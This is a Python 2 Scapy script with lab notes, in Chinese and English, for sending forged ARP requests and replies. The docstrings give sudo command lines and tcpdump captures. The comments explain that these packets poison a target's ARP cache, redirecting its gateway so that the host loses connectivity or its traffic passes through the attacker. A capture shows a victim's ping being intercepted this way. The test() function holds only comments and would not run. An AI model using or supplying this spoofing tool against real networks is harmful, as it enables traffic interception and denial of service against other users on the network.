#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
arp_broad:
love@d7s3:~/gitpy/python$ sudo ./scapy_arp.py -i eth0 -m 1 -S 00:1b:fc:e9:cb:79 -D 00:1e:90:07:c2:56  -t 00:00:00:00:00:00 -s 192.168.192.214 -M 00:1e:90:07:c2:56 -r 192.168.192.119

17:14:37.280640 00:1b:fc:e9:cb:79 > 00:1e:90:07:c2:56, ethertype ARP (0x0806), length 42: Request who-has 192.168.192.214 tell 192.168.192.119, length 28
        0x0000:  001e 9007 c256 001b fce9 cb79 0806 0001  .....V.....y....
        0x0010:  0800 0604 0001 001e 9007 c256 c0a8 c077  ...........V...w
        0x0020:  0000 0000 0000 c0a8 c0d6                 ..........


love@d7s3:~/gitpy/python$ sudo ./scapy_arp.py -i eth0 -m 1 -S 00:1b:fc:e9:cb:79 -D 00:1e:90:07:c2:56  -t 00:00:00:00:00:00 -s 192.168.192.119 -M 00:1e:90:07:c2:56 -r 192.168.192.214

17:16:48.041926 00:1b:fc:e9:cb:79 > 00:1e:90:07:c2:56, ethertype ARP (0x0806), length 42: Request who-has 192.168.192.119 tell 192.168.192.214, length 28
        0x0000:  001e 9007 c256 001b fce9 cb79 0806 0001  .....V.....y....
        0x0010:  0800 0604 0001 001e 9007 c256 c0a8 c0d6  ...........V....
        0x0020:  0000 0000 0000 c0a8 c077                 .........w
###当IP/MAC地址为192.168.192.119/00:1e:90:07:c2:56的主机收到上面的ARP请求后，会将ARP请求数据包中源IP及对应的源MAC地址192.168.192.214/00:1e:90:07:c2:56写入到该机的ARP缓存中，以后发送到192.168.192.214的数据全部发送到自己的MAC
###将2层目的MAC改为广播地址后，效果相同，即IP地址为192.168.192.119的主机接收到ARP请求后做同样的添加到该机ARP缓存中，所以可以通过该ARP请求来让目标主机修改其网关MAC地址为非法地址或者是劫持主机的地址，可以实现目的主机断网或者网络数据包被第三方劫持。
love@d7s3:~/gitpy/python$ sudo ./scapy_arp.py -i eth0 -m 1 -S 00:1b:fc:e9:cb:79 -D ff:ff:ff:ff:ff:ff  -t 00:00:00:00:00:00 -s 192.168.192.119 -M 00:1e:90:07:c2:56 -r 192.168.192.213
###目标主机的网关MAC将修改为ARP发送主机的MAC，目标主机以后发送到外网的数据均通过ARP发送机作为网关：
love@d7s3:~/gitpy/python$ sudo ./scapy_arp.py -i eth0 -m 1 -S 00:1b:fc:e9:cb:79 -D ff:ff:ff:ff:ff:ff  -t 00:00:00:00:00:00 -s 192.168.192.119 -M 00:1b:fc:e9:cb:79 -r 192.168.192.1
目标主机00:1e:90:07:c2:56上ping  www.qq.com时，在ARP发送主机00:1b:fc:e9:cb:79上的数据包如下(真实的路由器MAC地址为00:1c:10:38:86:cb):
17:34:45.708841 00:1e:90:07:c2:56 > 00:1b:fc:e9:cb:79, ethertype IPv4 (0x0800), length 74: 192.168.192.119 > 182.140.167.44: ICMP echo request, id 256, seq 7424, length 40
        0x0000:  001b fce9 cb79 001e 9007 c256 0800 4500  .....y.....V..E.
        0x0010:  003c 34d4 0000 4001 6714 c0a8 c077 b68c  .<4...@.g....w..
        0x0020:  a72c 0800 2f5c 0100 1d00 6162 6364 6566  .,../\....abcdef
        0x0030:  6768 696a 6b6c 6d6e 6f70 7172 7374 7576  ghijklmnopqrstuv
        0x0040:  7761 6263 6465 6667 6869                 wabcdefghi
17:34:45.708893 00:1b:fc:e9:cb:79 > 00:1e:90:07:c2:56, ethertype IPv4 (0x0800), length 102: 192.168.192.214 > 192.168.192.119: ICMP redirect 182.140.167.44 to host 192.168.192.1, length 68
        0x0000:  001e 9007 c256 001b fce9 cb79 0800 45c0  .....V.....y..E.
        0x0010:  0058 11a3 0000 4001 65a3 c0a8 c0d6 c0a8  .X....@.e.......
        0x0020:  c077 0501 7a54 c0a8 c001 4500 003c 34d4  .w..zT....E..<4.
        0x0030:  0000 3f01 6814 c0a8 c077 b68c a72c 0800  ..?.h....w...,..
        0x0040:  2f5c 0100 1d00 6162 6364 6566 6768 696a  /\....abcdefghij
        0x0050:  6b6c 6d6e 6f70 7172 7374 7576 7761 6263  klmnopqrstuvwabc
        0x0060:  6465 6667 6869                           defghi
17:34:45.708905 00:1b:fc:e9:cb:79 > 00:1c:10:38:86:cb, ethertype IPv4 (0x0800), length 74: 192.168.192.119 > 182.140.167.44: ICMP echo request, id 256, seq 7424, length 40
        0x0000:  001c 1038 86cb 001b fce9 cb79 0800 4500  ...8.......y..E.
        0x0010:  003c 34d4 0000 3f01 6814 c0a8 c077 b68c  .<4...?.h....w..
        0x0020:  a72c 0800 2f5c 0100 1d00 6162 6364 6566  .,../\....abcdef
        0x0030:  6768 696a 6b6c 6d6e 6f70 7172 7374 7576  ghijklmnopqrstuv
        0x0040:  7761 6263 6465 6667 6869                 wabcdefghi
在目标主机00:1e:90:07:c2:56上的数据包如下：
17:34:45.747315 00:1e:90:07:c2:56 > 00:1b:fc:e9:cb:79, ethertype IPv4 (0x0800),length 74: 192.168.192.119 > 182.140.167.44: ICMP echo request, id 256, seq 7424, length 40
        0x0000:  001b fce9 cb79 001e 9007 c256 0800 4500  .....y.....V..E.
        0x0010:  003c 34d4 0000 4001 6714 c0a8 c077 b68c  .<4...@.g....w..
        0x0020:  a72c 0800 2f5c 0100 1d00 6162 6364 6566  .,../\....abcdef
        0x0030:  6768 696a 6b6c 6d6e 6f70 7172 7374 7576  ghijklmnopqrstuv
        0x0040:  7761 6263 6465 6667 6869                 wabcdefghi
17:34:45.747582 00:1b:fc:e9:cb:79 > 00:1e:90:07:c2:56, ethertype IPv4 (0x0800),length 102: 192.168.192.214 > 192.168.192.119: ICMP redirect 182.140.167.44 to host 192.168.192.1, length 68
        0x0000:  001e 9007 c256 001b fce9 cb79 0800 45c0  .....V.....y..E.
        0x0010:  0058 11a3 0000 4001 65a3 c0a8 c0d6 c0a8  .X....@.e.......
        0x0020:  c077 0501 7a54 c0a8 c001 4500 003c 34d4  .w..zT....E..<4.
        0x0030:  0000 3f01 6814 c0a8 c077 b68c a72c 0800  ..?.h....w...,..
        0x0040:  2f5c 0100 1d00 6162 6364 6566 6768 696a  /\....abcdefghij
        0x0050:  6b6c 6d6e 6f70 7172 7374 7576 7761 6263  klmnopqrstuvwabc
17:34:45.758228 00:1c:10:38:86:cb > 00:1e:90:07:c2:56, ethertype IPv4 (0x0800),length 74: 182.140.167.44 > 192.168.192.119: ICMP echo reply, id 256, seq 7424,length 40
        0x0000:  001e 9007 c256 001c 1038 86cb 0800 4500  .....V...8....E.
        0x0010:  003c 8f5c 0000 3901 138c b68c a72c c0a8  .<.\..9......,..
        0x0020:  c077 0000 375c 0100 1d00 6162 6364 6566  .w..7\....abcdef
        0x0030:  6768 696a 6b6c 6d6e 6f70 7172 7374 7576  ghijklmnopqrstuv
        0x0040:  7761 6263 6465 6667 6869                 wabcdefghi


arp_response:
love@d7s3:~/gitpy/python$ sudo ./scapy_arp.py -i eth0 -m 2 -S 00:1b:fc:e9:cb:79 -D 00:1e:90:07:c2:56  -t 00:1b:fc:e9:cb:79 -s 192.168.192.214 -M 00:1e:90:07:c2:56 -r 192.168.192.119

17:11:33.657392 00:1b:fc:e9:cb:79 > 00:1e:90:07:c2:56, ethertype ARP (0x0806), length 42: Reply 192.168.192.214 is-at 00:1b:fc:e9:cb:79, length 28
        0x0000:  001e 9007 c256 001b fce9 cb79 0806 0001  .....V.....y....
        0x0010:  0800 0604 0002 001b fce9 cb79 c0a8 c0d6  ...........y....
        0x0020:  001e 9007 c256 c0a8 c077                 .....V...w

"""

import os
import sys
import struct
import argparse
from scapy.all import *

def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-i", "--interface", help="though interface to send")
    parser.add_argument("-m", "--mode", help="ARP mode(1:Boardcast/2:Response/T:test)")
    parser.add_argument("-S", "--mac2src", help="src mac in L2(who send this package)")
    parser.add_argument("-D", "--mac2dst", help="dest mac in L2(receiver's MAC)")
    parser.add_argument("-t", "--to_mac", help="1. who's mac; 2. to_ip's mac.")
    parser.add_argument("-s", "--to_ip", help="1. tell me this to_ip's mac; 2. i known to_ip's mac.")
    parser.add_argument("-M", "--mac3dst", help="1 sender/2 receiver's mac in L3")
    parser.add_argument("-r", "--ip3dst", help="1 sender/2 receiver's ip in L3")
    return parser.parse_args()

def arp_brd(mac2src=None, mac2dst=None, mode=1, to_mac="00:00:00:00:00:00", to_ip=None, mac3dst=None, ip3dst=None):
    """
    arp broad: (to_mac)who has to_ip, tell mac3dst/ip3dst
    """
    pkt = Ether(src=mac2src,             # l2 src mac address
                dst=mac2dst,             # l2 dst mac address
                )/ARP(op=mode,           # arp broad
                      hwsrc=mac3dst,     # arp_sha
                      psrc=ip3dst,       # arp_spa
                      hwdst=to_mac,      # arp_tha
                      pdst=to_ip,        # arp_tpa
                      )
    return pkt


def arp_resp(mac2src=None, mac2dst="ff:ff:ff:ff:ff:ff", mode=2, to_mac=None, to_ip=None, mac3dst=None, ip3dst=None):
    """
    arp response: <mac3dst/ip3dst> to_ip(psrc)'s MAC is at to_mac(hwsrc)
    """
    #//print macsrc, macdst, ipsrc, ipdst
    pkt = Ether(src=mac2src,            # l2 src mac address
                dst=mac2dst,            # l2 dst mac address
                )/ARP(op=mode,          # arp response
                      hwsrc=to_mac,     # arp_sha
                      psrc=to_ip,       # arp_spa
                      hwdst=mac3dst,    # arp_tha
                      pdst=ip3dst,      # arp_tpa
                      )
    return pkt

def main(args):
    if args.mode == "1":
        arp_pack = arp_brd(mac2src=args.mac2src,
                            mac2dst=args.mac2dst,
                            mode=int(args.mode),
                            to_mac=args.to_mac,
                            to_ip=args.to_ip,
                            mac3dst=args.mac3dst,
                            ip3dst=args.ip3dst,
                            )
    elif args.mode == "2":
        arp_pack = arp_resp(mac2src=args.mac2src,
                           mac2dst=args.mac2dst,
                           mode=int(args.mode),
                           to_mac=args.to_mac,
                           to_ip=args.to_ip,
                           mac3dst=args.mac3dst,
                           ip3dst=args.ip3dst,
                           )
    elif args.mode == "t":
        print type(args)
        print args.mode
        return args
        # arp_pack = Ether()/ARP()
    else:
        sys.exit(0)
    print arp_pack.summary()
    # sendp(arp_pack, count=1, iface="eth0")
    answ = srp(arp_pack, args.interface, timeout=1, retry=1)
    print answ

def test():
    global args
#     args.interface = "wlan0"
#     args.ipdst = "192.168.192.119"
#     args.ipsrc = "192.168.192.219"
#     args.macdst = "00:1E:90:07:C2:56"
#     args.macdst_l3 = args.macdst
#     args.macsrc = "00:1B:77:97:77:F3"
#     # args.macto = "00:1B:FC:E9:CB:79"
#     args.macto = args.macsrc
#     args.mode = "r"
#     main(args)

if __name__ == "__main__":
    args = parse_args()
    print args
    if args.mode != "T":
        main(args)
    elif args.mode == "T":
        test()
        main(args)

"""
sudo ./scapy_arp.py -m T
WARNING: No route found for IPv6 destination :: (no default route?)
Ether / ARP is at 00:1B:77:97:77:F3 says 192.168.192.219
Begin emission:
Finished to send 1 packets.
Begin emission:
Finished to send 1 packets.

Received 0 packets, got 0 answers, remaining 1 packets
(<Results: TCP:0 UDP:0 ICMP:0 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:1>)
Ether / ARP is at 00:1B:77:97:77:F3 says 192.168.192.219
Begin emission:
Finished to send 1 packets.
Begin emission:
Finished to send 1 packets.

Received 0 packets, got 0 answers, remaining 1 packets
(<Results: TCP:0 UDP:0 ICMP:0 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:1>)

tcpdump -XXnnei wlan0:
12:40:14.542729 00:1b:77:97:77:f3 > 00:1e:90:07:c2:56, ethertype ARP (0x0806), length 42: Reply 192.168.192.219 is-at 00:1b:77:97:77:f3, length 28
        0x0000:  001e 9007 c256 001b 7797 77f3 0806 0001  .....V..w.w.....
        0x0010:  0800 0604 0002 001b 7797 77f3 c0a8 c0db  ........w.w.....
        0x0020:  001e 9007 c256 c0a8 c077                 .....V...w
12:40:15.550419 00:1b:77:97:77:f3 > 00:1e:90:07:c2:56, ethertype ARP (0x0806), length 42: Reply 192.168.192.219 is-at 00:1b:77:97:77:f3, length 28
        0x0000:  001e 9007 c256 001b 7797 77f3 0806 0001  .....V..w.w.....
        0x0010:  0800 0604 0002 001b 7797 77f3 c0a8 c0db  ........w.w.....
        0x0020:  001e 9007 c256 c0a8 c077                 .....V...w
192.168.192.119接收到ARP响应数据包后，并没有将MAC添加到ARP缓存中??????
"""
